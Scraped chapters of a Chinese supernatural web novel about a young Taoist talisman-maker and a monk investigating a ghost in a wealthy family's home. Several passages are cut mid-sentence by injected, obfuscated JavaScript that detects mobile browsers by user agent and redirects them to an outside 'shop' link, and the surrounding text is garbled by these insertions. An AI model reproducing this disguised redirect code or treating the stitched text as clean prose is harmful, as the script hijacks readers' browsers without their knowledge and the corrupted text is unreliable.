他没有当场拆开,只是非常珍重地抱在怀里,表示自己要等所有人都走后,一个人拆开大家的礼物。 随后许航说完看向崔砚,长发的少年拿出早上画的符,递了过去。 许航见后眼前一亮。 崔砚上下打量着许航,他耳后发现了一缕还没来得及消散的阴气,最近许家频频出问题,果然是有脏东西作祟。 许家的风水也算上佳,寻常脏物进入基本都会被这格局给打破,而许航身上的阴气到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268237|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在还能残留,足以说明暗中捣鬼的东西并不简单。 崔砚伸手捻下许航耳后的阴气,丝丝缕缕的黑雾在他指尖散去。 耳畔隐隐有细微的尖叫声随之响起,崔砚听后眉心一蹙,对许航道:“低头。” 虽然不知道为什么要低头,但许航还是二话没说,立刻把脖子朝崔砚伸了过去。 许航脖颈后的头发修剪得还算利落,一节干净的皮肤下,有黑色的纹路蔓延到衣领之下。 崔砚伸手一碰,还没渗入骨髓的阴气便沾染上丝缕。 “你脖子后边有个烙印,你知道吗?” 他猝不及防的动作让许航下意识一缩脖子,而被对方碰了一下的地方立刻传来一阵刺骨的冰凉,许航还没来得及思考,就听到崔砚问他。 “什么烙印?”许航伸手去摸了下脖子,眼神有些茫然,也有些惊恐。 他道:“我昨晚上才洗的澡,照镜子的时候也没发现脖子上有什么东西啊。” 所以这烙印刚出现不久,背后捣乱的脏东西有可能还在附近。 崔砚一双漆黑的眼睛朝四周看去,得益于许家这奇特的金色装潢,但凡空气中有阴气的存在,那黑雾都逃不出崔砚的眼睛。 只是崔砚观察了一会儿,除开许航身上的那枚烙印,竟然再没发现半分阴气的存在。 要知道,即使是阳光充足的正午,空气中也会有阴气残留,更何况许家的风水虽好,但也并非没有死角。 但这偌大的房子里,竟然连格局死角都没有阴气。 干净得有些不正常。 因为是许航的生日宴会,再加上最近许家不太平,正值多事之秋,孩子的朋友圈干净纯洁,但许家父母不保证自己做生意会不会招惹上谁,因此这次宴请的客人除了他们这些孩子之外,再没有其他的人了。 等人一到齐,许航的父母露面了,崔砚没有再跟许航继续说下去。 他最后叮嘱许航:“还不确定具体症结,我需要些时间,在此之前不要打草惊蛇,你可以装作什么都不知道的样子,先别对脖颈后的烙印过多关注。” 许航点点头,努力让自己的表情看起来比较正常。 他走上前去,到了自家父母跟前,管家从后厨推出来一个做工精致的八层蛋糕。 小孩子的生日没那么多客套,许航许愿吹蜡烛,大家都跟着说了些吉利的话,他拿起刀就要开始分蛋糕了。 而就在他手中的刀已经到蛋糕跟前时,大厅里传来一阵铃声。 管家率先反应过来,对许航父母道:“先生夫人,有人在敲门。” 许航爸爸一改之前的焦急,神色变得期盼起来,连忙往外走。 “快去开门请人进来!” 听他这么说,许航和他妈妈都转头看过去,许夫人诧异道:“老公,你请了其他客人?” 许航爸爸没有听到妻子的追问,转头先管家一步走出去。 看他这么着急,其他人也很好奇,面面相觑之后还是忍不住跟了上。 崔砚就落在队伍末尾,尽管离得很远,但他视力不错,透过重重人群,看到了来人的模样。 竟是一个跟他们年龄相仿的少年。 17.首发文学城17 门外的少年长身玉立,身形看上去十分高挑,目测比在场所有的人都高。 他穿了一身独特的斜襟素白袍子,袖口和腰上特意用绑带收紧,露出的线条极具力量感。 一身小麦色的皮肤,论长相,对方甚至不输崔砚,但那双瞳孔黑得可怕,其中偏偏带了七分悲天悯人,如此矛盾又漂亮的一双眼睛,几乎夺去了他身上所有的目光。 而更格格不入的是少年过短的头发,短过寸头,又为他平添两分戾气。 崔砚看着对方毛茸茸的脑袋,新长的头发下连头皮都是小麦色,他的视线落在少年额顶,随后微微歪头。 是个小和尚?但却没有戒疤。 许夫人推开人群找到许先生,有些诧异地看着门外的少年,对丈夫道:“……这位少年是你请的客人?” 她盯着许先生的脸,却见许先生也露出不解的神色。 大家半晌没有开口,门外的少年眼神沉静地扫视众人,随后对许先生道:“无念师兄今日有事,许先生的委托已经转交给我了。” 许先生这才确定了少年的身份,但或许是对方的年龄实在跟想象中出入太大,他一边上前开门,一边迟疑地问:“你是无垢师傅?” “是。”少年言简意赅。 许先生诧异:“竟然这般年轻?” 或许是察觉到了许先生话里的不信任,无垢从斜襟里摸出了自己的身份证明,上边佛协鲜红的印章证实了他的身份。 稍微了解过的人都知道,佛协道协的证件并不好拿,只有身具真本事的人,才能获得这么个印章。 见状,许先生终于放下心来,同时也向无垢表达了自己的歉意:“抱歉无垢师傅,您实在是有点太年轻了。” “无碍。”无垢单手竖掌在胸前,对许先生一礼。 “什么委托?”许夫人听得一头雾水,只能转头询问丈夫。 许先生看了看四周的孩子,嗫嚅着不好开口,好在大家都不是蠢人看得懂眼色,于是在许航的带头下,几个小孩儿麻溜地回了大厅。 许先生这才悄悄对妻子道:“这是隐渡寺的高僧无垢大师。” “最近家里状况频出,已经无法用常理来解释了,所以我就私自找了隐渡寺的大师前来看看。” 许先生叹着气,对妻子道:“你也别怪我不跟你商量,主要你平时并不信这些鬼神之说,我如果事先跟你商量,你一定不会赞同的。” 听完原委,许夫人脸色也有些迟疑起来。 如果是从前她一定会有些生气,但经历了这些天莫名其妙的横祸后,又面对刚刚大病一场的儿子,许夫人实在说不出反驳的话来。 “只是这位大师看着年纪实在有些太小了……能解决吗?”许夫人看向前边少年的背影。 许先生让她放心,“年轻一辈里最出名的就是无念师傅,这位无垢师傅是无念力荐的人物,据他所说,无垢师傅要比他厉害十倍不止。” 许夫人对这些并不了解,但听丈夫既然都这么说了,她也只能勉强把心放回去。 崔砚不近不远地走在前头,将他们的谈话都听进了耳朵。 恰巧这会儿无垢从他身侧走过,对方行走间带起一阵风,崔砚鼻尖微动,眼神随之往前。 果然是个小和尚,身上的檀香几乎都要腌入骨了,还有点莲花的气息。 如果他记得没错,隐渡寺中就有一片莲池,因其一反常态四季都会盛开而闻名,新闻都报道过不知道多少次。 相比于崔砚,无垢来这里的目的就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他性格算不上多好,也从不主动跟人相处,但那样容易惹人信任的长相总能让人忽视这一点,就像个任人拿捏的软柿子。 现在这只软柿子看向无垢,眼神却算不上多友好。 道门如今现状其实稍显凋零,虽然灵妙观的香火鼎盛,但放眼整个大环境,其实华国人要更加信佛,逢年过节去的大多都是寺庙,道观光景非常凄凉。 佛道虽然表面关系维持的还算过得去,但实际上私下里却有些争锋相对的意味。 像许先生这样的委托,基本都会落到那些和尚手里。 比起大众更接受的寺庙神佛,华国本土体系神明虽然多如繁星,但名号在普通人耳朵里却并不响亮。 甚至于道士跟和尚同时站在面前,很多人都会把道士跟招摇撞骗划上等号,而和尚就能称呼一句得道高僧。 搞笑却很心酸。 现在这个社会,即使是道士也要吃饭,但现状却是就算道士有真材实料,更多人也会选择和尚。 崔砚不算正经道士,但平常跟灵妙观的师兄们接触多了,经常见他们因为委托被和尚抢走而长嘘短叹,心中的天枰自然也会发生倾斜。 更何况这无垢还是隐渡寺的和尚,崔砚向来不喜欢隐渡寺的那位住持。 恨屋及乌,眼前这小和尚怕也不是什么好人。 无垢不是什么好脾气的人,从崔砚的眼神中感受到一丝丝恶意,这也让他下意识皱眉。 他一皱眉,许先生就慌了。 许夫人看着无垢表情不对,下意识认为是对方从自己身上拿走的符有问题,放在丈夫臂弯的手收紧,几乎要将对方抓痛了。 “这符是前几天我出院的时候,小航送给我的,说是能保平安。” 许夫人神色紧张:“仔细想想,确实是这黄符出现后小航才生病的,难道是符有问题?” 如果符有问题,那对方一定是要害许航! 许航虽然不懂,但他知道崔砚肯定不会害他,也没有理由害他,于是站出来反驳:“肯定不是这样!” 无垢也不至于冤枉人,他瞥了一眼崔砚,道:“这张符的作用是辟邪,不会对携带者产生不好的影响。” “许夫人身上也有阴气残留的痕迹,虽然很淡,但却比你儿子身上的痕迹要久远得多,所以最开始那脏东西的目标大概率是你。” “至于许夫人的家人,许先生正值壮年,身上阳火旺盛,寻常鬼怪近不了身,受影响最小。” 寸头少年的目光落在许航的肩头,旁人看不到,但崔砚顺着他的目光看去,却能清楚瞧见大病一场后,许航左肩近乎熄灭的阳火。 无垢二指夹着黄符,上边的笔迹颜色已经暗淡,是替人挡灾后失效的表现。 他道:“这位同学阳火虚弱,应该是本身八字就轻,压不住近身邪祟,再加上最近又值中元,阴气比平常更加强盛,因此受的影响最大。” 无垢将符纸轻飘飘扬起,薄薄的三角便晃悠着落在崔砚脚下。 “画符人的目的是要保护他,却没想到阴差阳错最后符转赠给了许夫人。” 作为首要目标的王夫人有了符之后,邪祟鬼怪没办法近身加害,而许先生阳火旺盛,这个时候八字最轻的许航,就成了替王夫人受过的倒霉蛋。 听完无垢的话后,许航总算是掰扯出了关键信息——崔砚画的符救了他妈妈。 明白这一点,许航感动得眼泪汪汪,没想到崔砚竟然这么关心他,随时随地都在保护他的安全! 许先生有些诧异地看着许航,忍不住问:“小航,这符你是从哪里得到的?” “啊?”许航遏制住自己想要往崔砚身上飘的眼神,努力装作不知道的样子,下意识就要替崔砚保守秘密。 “我不知道啊……”许航演技很差地挠头,支支吾吾道:“可能是捡的吧。” 许航从小就被家里宠着长大,父母一直都很溺爱他,从没对他说过什么重话,这次许先生难得对他语气强硬。 “小航!你要说实话,现在妈妈的情况很危险知不知道!” 许航傻了,他搞不懂为什么非要探究符的来源,又不是崔砚害的他家,如果是要解决问题,他们面前不是还站着一个无垢大师吗? 家教良好的他第一次对父母语气犯冲:“什么问题什么符都是这个无垢说的,你想要知道谁给我的符,那你直接问他就好了,反正我是不可能出卖……朋友的。” 崔砚帮他救他是因为崔砚心好,但心好也不能成为他道德绑架的理由,对方崔砚不想暴露自己的身份,那许航就不会往外说,哪怕是亲爸逼他。 这个年纪的孩子正是把义气看得比谁都重的时候,许航气性上头,直接从兜里一把拿出自己贴身放好的符,塞给了他妈妈。 “有了这个妈妈就不会有事,什么搞怪的鬼,全都冲我来好了!” 许夫人傻眼地看着手上崭新的黄符,符上连折痕都清晰锋利,等反应过来后便要还给许航。 “你这傻孩子,妈妈现在什么事都没有,要你这个干什么,快拿回去放好!” 许父脸上表情也有些懊恼,但他蹙眉看着母子两人互相推搡,视线隐晦地在周围扫视了一圈。 许航身上的衣服是特意为了今天而新买的,之前从没穿过,更不可能在身上放东西,这符难道是刚刚才拿到的? 想起许航情急之下说的话,会不会他那个画符的朋友今天也来到了许家? 许先生看着眼前这些半大少年微微沉默,这些孩子中……会有那位大师吗? 崔砚只是跟许航有交集,对方的父母跟他无关,那边两人还在来回拉扯,崔砚事不关己地打了个哈欠。 他抬眼对上许父的目光,唇角微微上扬着投去一笑,看上去柔软无害,许夫又皱眉打量起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285349|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人来。 “为什么要找符是谁画的?”掀起纷争的人这会儿却疑惑开口。 无垢看人喜欢稍稍眯起眼睛,这样便遮住了他瞳孔中格格不入的悲天悯人,剩下的五官锋芒毕露,即使年纪不大,但也非常具有压迫力。 “许先生是觉得我处理不了?” 他像是有些疑惑,微微皱眉时表情牵扯的弧度并不大,却露出了丝与生俱来的戾气。 许父转头跟他对视上,他身为一个成年人,竟然对一个少年露怯了。 “没有没有!”许父深吸一口气,也不再探究符的源头,而是将重心重新拉了回来。 “无垢大师看出到底是什么东西在捣鬼了吗?” 无垢似乎胸有成竹:“有了些猜测,但还需要印证。” 他看上去不太好惹,脾气也不好,许父想要细问,但无垢一副不想说的样子,让大家都有些不好开口。 不过崔砚很感兴趣。 他虽说也在道观长大,但其实只能称得上门外汉,就算是从小学道术,但一直都只管自己的喜好,因此除开画符外,道门的东西他都不感兴趣,也并不了解。 崔砚仗着天赋,一双眼睛天生能通阴阳,所以知道是有鬼作祟,却不清楚到底是谁在拨弄风云,也不知道对方暗地里做了什么。 这小和尚仅仅是一个照面,靠着那双凡眼简单一看,就能明白始末? “我实在是有些好奇,大师到底是怎么看出来的?” 这声音一出来,无垢就对上了崔砚那双剔透得像玻璃的眼睛。 小和尚有些惊讶:“你不知道?” 许家手上的两道符,可不是寻常道士能画得出来的,对方既然能画出高明的符,又怎么连这些基本的东西都不知道? 无垢从崔砚身侧路过的时候,就已经猜到少年的身份了。 就像崔砚闻出无垢是个和尚,同样的,道士的气息也很明显。 灵妙观这么些年香火鼎盛,又不乏富豪支持,因此常年财大气粗地给尊神供奉沉香。 崔砚太爱画符了,他身上沉香寥寥,混杂着更多的纸墨味,又带着一丝不同寻常的香,闻起来像是半展未展的宣纸上描画着一朵将舒未舒的桃花。 道观用的香又与寻常用香不同,很难形容那是怎样的一种区别,大概是凡香平平,供神的东西都有神灵的青睐。 而观里的神灵,似乎对眼前扎了马尾的少年,实在显得格外垂青。 无垢‘闻’出来了神灵注视的气息,这是一种奇妙却分外敏锐的感应。 崔砚两手一摊:“完全不知。” 眼前的少年坦诚得可怕。 无垢不由得想起之前对方泄露的一丝敌意,对方明显不太友好,有一瞬间他都要以为崔砚实在故意耍他了。 无垢摇了摇头,对崔砚道:“许家近来的遭遇,是人为。” 崔砚歪了歪头:“你刚才说的可是有鬼。” 无垢不置可否,抬眼看向许家夫妇。 “人驱鬼害人,也是有鬼。” 19.首发文学城19 许家夫妇一愣,这是什么意思? 无垢侧目看向许夫人,三言两语解释道:“许家的阴气并不算厉害,背后作祟的是个小鬼。” “但阴阳之间本就有一道难以横跨的壁障,若非厉鬼无法逾越,小鬼害人,只能是人鬼之间有羁绊因果在,否则无端越矩伤人,最后只会不得善终。” 无垢说完一顿,先问了一句:“许家最近可与已故之人有过牵扯?” 他说得笼统,许父有些焦急地问:“大师是指哪种牵扯?” 无垢:“小则见墓碑语出不敬,大则害人性命。” 人死后为鬼,其思绪已经被阴气影响,无法用常理来揣测,大部分鬼其实非常小心眼,稍微冒犯一点都会遭到报复。 许先生连连摇头:“没有,我家夫人平常不爱出门,这次祭祖也只拜了家里过世的长辈,过程没有冒犯到任何坟墓。” “至于害人性命,那就更不可能了。”许父斩钉截铁。 大家都生长在红旗下,也都是思想品德上佳的好公民,许夫人平常也爱做慈善,心地柔软善良,莫说是杀人了,她连得罪人都不会。 这一点,许先生是绝对相信自己妻子的。 许夫人也连连摆手。 崔砚的一双眼睛看人看鬼都很准,这许航的妈妈眼神澄澈,面相也很柔和,眉心干净开阔,是良善之人,确实没有粘过什么害人的事。 这一点,无垢也能看出来。 所以他又提出了另一个猜测:“那就只有另一种可能了,许夫人不妨回想一下,你生病倒霉之前有没有得罪过什么人。” “得罪人?”许夫人皱眉细想了一下,思绪却始终空白一片。 她道:“我平常几乎都只待在家里,能来往的朋友也不多,已经很久没有外出社交过了,不记得有得罪过什么人。” “嗯。”无垢点头,看似许夫人什么都没说,但其实他也并不是一无所获。 按照许夫人的说法,那么这捣鬼的人只有两种可能。 一是结仇许久,对方蓄意多年最近才实施报复。二是近日结仇,但许夫人对那人印象不深。 无论是哪种结论,都代表着许夫人和害人者牵扯不深,不然许夫人也不会没有任何印象。 鬼能害人人能抓鬼的同时,鬼也会被人所驱策作祟。 就像鬼小心眼一样,人也会因为鸡毛蒜皮的小事而与旁人交恶,从而报复加害。 他把自己的想法说了出来,在场的人都震惊急了。 许先生脸色十分难看,一想到自家夫人一辈子与人为善,却因为一些莫名其妙的小事被人记恨,导致对方竟然想害她性命,就恨得想要快点把人揪出来报复回去。 既然无垢有了结论,许先生也见对方谈吐行为颇有底气,于是真心求助:“只要无垢大师能救我妻子,事后报酬一定如数奉上,不会少您半分。” 无垢闻言瞥了许先生一眼,只略微点头:“这小鬼不难解决,还请许先生给我一天时间,今夜需要将许夫人的房间空出来供我使用。” 许先生当即表示同意:“没问题,还有什么要求您尽管提。” 无垢嘱咐他们今夜七点后就不能在别墅里走动了,需要各自待在房间中,没有他的同意不能轻易开门,许家人纷纷应下。 双方商量好后,却有一道少年声线响起:“那个……” 被忽视在一旁的崔砚乖巧地举起一只手,等几人的目光都被自己吸引过来后,才清清嗓子道:“我父母外出要明天才回来,家里没人,刚刚看了一下我好像忘带钥匙了。” 他铺垫了两句,最后才对许航爸妈直奔正题:“不知道叔叔阿姨今晚能不能收留我一下?” “这……”许夫人有些为难。 眼前的小少年是许航的朋友,许夫人自然很欢迎儿子的小伙伴来做客,家里多的是空房间,如果是在往常,许夫人肯定第一时间就答应了。 但现在情况特殊,家里的事情还没解决,许夫人也怕牵扯到儿子的朋友,害了对方。 许先生也有些迟疑。 给儿子补办生日是前段时间的决定,因为许航的生日跟亲人忌日犯冲,只能往后挪。 那个时候许先生还没有去隐渡寺摇人,家里的情况也还不算严重,这才导致今天跟无垢的计划撞上了。 出于安全考虑,许先生道:“附近有家酒店是许航小姑的产业,小同学不介意的话,等会儿我让管家带你去酒店住一晚。” 崔砚的目的当然不是要住酒店,他理由张口就来:“我一个人住酒店有些害怕……” 崔砚的演技要比许航自然得多,少年脸上适当露出胆怯的神色,随后又小心翼翼地看了一眼不远处的寸头少年,眼神里就多出几分勇气和希冀。 “无垢大师声名远扬,有他在这里我就没那么害怕了。” 许先生有些惊讶:“小同学认识无垢大师?” 崔砚微微勾唇:“如雷贯耳。” 他的模样和表情乖顺,但无垢站的角度恰巧没有错过少年眼中的嫌弃和狡黠。 无垢:“……” 许先生倒是很惊奇,做生意多少有些信这个,圈子里有名的大师也都听说认识,但此前也从来没有听过无垢的名号,没想到眼前的小同学反而认识大师。 他忍不住问:“你在哪里听过无垢大师的名号?” 崔砚避而不说来处,却道:“隐渡寺神秘的小佛子,想必许叔叔之前也听说过。” “无垢大师是隐渡寺的佛子?”许先生一愣,紧接着喜上眉梢,转头对无垢的态度又更加敬重几分。 隐渡寺九年前横空出现了一位佛子,但住持却对其身份严加保密,众人只知道有这么个人,却不清楚名号,也从没人见过他的真容。 九年间隐渡寺没有泄露佛子的一丝消息,就连寺里的其他人都三缄其口,对方就这么在传言中存在了九年。 原本大家见不到真人,很快就对佛子失去了兴趣,关于他的讨论度也渐渐消失,直到四年前对方又声名大燥起来。 也正是那一年,传出了一个重磅消息——隐渡寺佛子修乃杀神观音一脉。 此后四年众人仍然不知道这位佛子的具体信息,但有关杀神观音的消息却流传开来,从此以后大部分人再见到隐渡寺的年轻和尚,大都会选择绕道走。 那可是杀神观音……谁敢惹? “无垢大师真是隐渡寺佛子?”许先生试探询问。 而无垢看向崔砚,眼神中终于带了点讶色。 “你是怎么知道的?”无垢直接问。 他这么些年连寺里的师兄弟都很少见,外人更是所见寥寥,崔砚不可能有机会与他认识。 崔砚露出个乖巧的表情:“猜的。” 没见过,当然就只能猜了。 这个回答让无垢表情卡壳了一瞬,却也没有反驳对方的猜测。 这就是变相的承认。 这一下换作许先生内心不平静了。 他虽然不了解内情,却知道隐渡寺佛子是下一任住持,对方至今没有正式露面,但静静修行九年,是个了不得的人物。 无念师父这次没能接下委托,许先生原本还有些遗憾,他以为对方推荐无垢说的话是夸大,想要借自己的委托给对方练手。 只要能解决家里的怪事,谁来许先生都不介意。 但这会儿骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290645|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然得知无垢是隐渡寺的神秘佛子,他便知道今日事稳了,始终没法完全放下的心也放下了。 这会儿气氛很融洽,崔砚顺势问:“那许叔叔,我今晚在这里暂住的事……” “没问题。”有隐渡寺佛子在,许先生也不用再担心崔砚的安危。 一口就应下,转头叫管家:“三楼客房收拾一间出来,等会儿带小航的同学上去。” 崔砚又上前一步:“等一下。” 正要往三楼走的管家被拦住,崔砚脸上微红,视线往无垢身上飘了一下,微赫道:“晚上能把我和无垢师父安排在一间吗?有他在我才不害怕。” 大家:“……” 无垢跟崔砚对视一眼,没有错过对方眼中的淡淡笑意,还怪灵动的。 这少年既然会画符,明显不是个会怕鬼的人,明明想要留下,却又用这样拙劣的借口,这是不想暴露自己? 许航是不管崔砚干什么,总会无条件支持并且助攻,于是第一个点头:“当然没问题。” 他说完就被自己老爸瞪了一眼,许先生转头对无垢抱歉地笑了一下,跟崔砚说:“这件事你要先问问无垢大师的意见。” 无垢晚上要征用许夫人的房间,他这么做明显就是要在晚上解决房子里闹鬼的问题,到时候情况不明,凶险未知,许先生是不赞同崔砚跟他一个房间的。 凭借隐渡寺佛子的名号,许先生自然相信无垢不会发生危险,但这都另说,他怕的是崔砚给无垢捣乱。 出乎所有人意料的,无垢竟然点头同意了。 “可以。” 少年的声线又冷又凶,他说完没有再管身后的任何人,只留下一句:“那便先等入夜吧。” 寸头少年渐渐走远,从走廊拐角消失,管家很有眼色地跟了上去,把无垢带往许夫人的房间。 剩下的人面面相觑,许先生安抚了一下妻子,对许航道:“今天实在有些不方便,去向你朋友道个歉,让他们先回家吧。” 刚才许家人和无垢谈话的时候,也就只有个崔砚凑近在参与,其他学生都拘谨地在大厅里各自安静呆着。 他们不知道发生了什么,只是瞥见许家人脸色变了好几次,没多会儿管家跟许航就来道歉了。 因为是许家邀请,最后却又早早结束,管家在许先生的授意下给许航的朋友准备了些礼物,道歉后妥帖地安排把人送到家。 许航最后跟米雅雅告别后,一想到晚上无垢要抓鬼,心里就有些七上八下的,又紧张又害怕,甚至还觉得有点刺激。 他心脏怦怦跳,转头想要找崔砚,但环视一圈,却没见到崔砚的影子。 正巧这会儿管家走到面前,许航抓住人问:“崔砚呢?” 管家不知道崔砚的名字,还反应了一下才猜测是留下来的那个小同学,仔细回想了一下,才说:“您朋友好像跟着无垢大师去夫人房间了。” 崔砚跟无垢往上走,脚步轻飘飘的,像是对方的背后灵。 这种有人悄悄跟着,但是又不发出任何声音,偏偏存在感极强的感觉,实在是有些诡异。 无垢站定后忍不住回头,在高处俯视对方。 崔砚也随之停了下来,他双手环臂,仰头的时候微微歪着,马尾也轻轻晃动了一下。 眼神坦荡,语气不太平和:“大师怎么不走了?” 他的态度说不上不好,但也绝对说不上好,无垢眉头拧了一下,站位居高临下。 “你好像有点讨厌我。”他说。 崔砚的嘴角缓缓绷直,弯弯的眉眼也落下,像是一团墨落在宣纸上晕开。 “我不是讨厌你……” 崔砚:“我是可怜你。” 20.首发文学城20 少年的眼神中带着一层讥诮,但那讥诮却并非冲着无垢而来,倒像是透过他在看向另外的人。 隐渡寺的住持和僧人乐善好施,路人缘一向不错,即使不是佛学爱好者,也会对隐渡寺的人拥有一份额外的好感,这还是无垢第一次遇到不喜欢隐渡寺的人。 少年的眉眼轮廓带着戾气,看着脾气不太好,但却只是盯着崔砚的眼睛,微蹙的眉心在听到对方的理由后稍稍放松。 无垢的眼神毫不避讳地上下打量着崔砚,随后又很快将视线收回。 “说笑了,我不需要任何人的可怜。” 他轻描淡写地回应少年的些许敌意,转头却发现对方的影子仍然亦步亦趋地跟在身后。 他虽然学习了这么些年的佛法,但明显不是个软和的人,没有谁会对一个态度不善的人保持耐心。 无垢再次站定回头,语气已然有了些驱赶之意:“你从一开始就想跟着我,到底有什么目的?” 而少年的回答是越过他身侧,轻飘飘撂下的一句:“大师忘了,刚才你已经同意晚上跟我一个房间。” 无垢刚才之所以答应对方,不过是猜到对方想要探寻许家灾祸的源头,但是明显不想暴露自己,于是找了那么个借口,假借自己的名义。 但现在他忽然有点后悔答应得太早。 “刚才的确同意了,”这次换成了无垢缓缓跟在崔砚的身后,他道:“希望现在反悔还来得及。” 说话间两人已经到了原本许夫人的房间,少年头也不回,挥挥手道:“出家人不打诳语,小和尚破了戒小心我去找你家住持告状。” 话音刚落,少年拐弯进了房间内,但马尾忽而晃过一个圈,那张脸又冒出半张倚在门边。 对方眉眼弯弯,视线落在无垢的寸头上。 “啊,你好像没点戒疤,现在还蓄上了发,应该不算出家人了吧?” 无垢:“……” 他这十几年的时光,大半生都耗费在了隐渡寺的一方天地中,只有偶尔的时候才得以出门一趟。 无垢平生所见人寥寥,有贪婪的,恶毒的,精明的……什么样的性格第一时间都展露在了面相上。 他还是第一次见到崔砚这样的人,长相乖巧绵软,面相富贵善良,偏偏一张嘴吐出的字如此刻薄。 小和尚张了张嘴,对话的人却又消失在了门内,于是把他一腔的话堵了回去。 进门后无垢的心思瞬间从崔砚身上抽离,皱眉打量起了眼前的房间。 许宅的风水注定寻常阴气无法存留,而这整个别墅内,除了许夫人和许航自身沾染的些许,其他地方也的确没有任何阴气残留。 原先卧室的门关着,两人在走廊上你来我往嘴上交锋,也没察觉到一点异样,但此刻进入房间之内,严重的诡异和违和感便开始不断冲击两人的感官。 房间里的阴气浓度实在太高了,高得有些让人感到惊诧,两人站在房间里仿佛置身墓穴,似乎脚下的方寸之地就是一口棺椁。 这样的房间,阴气时时刻刻不断冲击着生人,许夫人住在这里不生病才怪。 就算是阳气充足的许父,要不是他常年在外奔波谈生意,最近着家的时间很少,怕是也经不住这阴气的谋害。 虽说前几天许夫人病愈出院,但要是许航当时没有给她崔砚的符,再回到这房间里,怕是也凶多吉少了。 也算许夫人命不该绝。 这念头从脑海中钻出来的一瞬,崔砚只觉得心里有阵奇异的波动晃过,他眨了眨眼睛的功夫,再伸手捂住胸口,却什么也没感觉到了。 崔砚有些古怪地蜷了蜷拳头,心中不由得再想起生死簿。 不过很快他的思绪就被突然落下的视线打断,察觉到注视后少年敏锐地抬眼看去,恰巧对上无垢不闪不避的打量目光。 无垢的眼神中还带着探究,他刚刚分明察觉到了崔砚身上有股不同寻常的气息,但转瞬又很快消失。 不过当务之急是许家的委托,尽管对方身上有什么秘密,但想来也不是无垢现在能窥探的,只要那少年不会故意扰乱他的计划,无垢便能当对方不存在。 于是他便收回了自己的打量。 崔砚就站在原地,双手环臂靠在门框上,一双漆黑的眼睛将房间一一搜寻过去,没有放过房间的任何角落。 无垢随后动身,以脚步丈量着房间的每一寸。 往常灵妙观的师兄们接下委托,崔砚从没有去观摩过现场,这还是他第一次见到旁人的除祟过程。 少年最后还是忍不住有些好奇地将视线放在小和尚那头。 这天地间的阴气都有源头,每一寸阴气都该是均等的,却因为风水之差,导致本该平均的阴气产生不等量的波动。 就例如坟地阴气过盛,正午阴气弱于夜晚。 所谓阴阳相生相克,若遵循自然法则,这世上便不会有一处地方完全没有阴气,而他们在进入这房间之前,许宅其他地方却不见丝毫阴气的痕迹,这情景明显有违常理。 原先崔砚还觉得奇怪,但这会儿琢磨了一下,怕是许宅内所有的阴气都被聚集到了许夫人的房间中。 若将整个许宅的阴气比作是一个漩涡,许夫人的房间便是这漩涡的中心,而房间的阴气中心—— 两人几乎是同时抬头,目光双双落在天花板上。 两人都察觉到了对方跟自己一致的目标,纷纷顿了顿。 崔砚有些惊讶地朝无垢看去一眼,随后喉中轻哼,不愧是隐渡寺鼎鼎大名的佛子,反应倒是快。 他一句话没说,无垢却先开了口。 “许家的阴气浓度很不对劲,我从大门进入的时候便发现了异常。” “整个房子的风水虽然尽力做到了平衡,但多少还是会有薄弱处,正西方避光的角落设立了一处玻璃花房,这地方布置的原本目的应该是要弥补空缺。” 风水上讲究以阳克阴,西方避光而阳气不足,这样的空缺对风水有碍,于运道有害,而花草中蕴含着充足的生气,玻璃则透光聚光,阳气能得到很好的汇聚。 在刻意的布置之后,西方的花房应该充满生机才对,但无垢所见却并非如此。 听他这么说,崔砚回想了一下,他路过花房的时候,确实察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347035|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了那地方阳气不强。 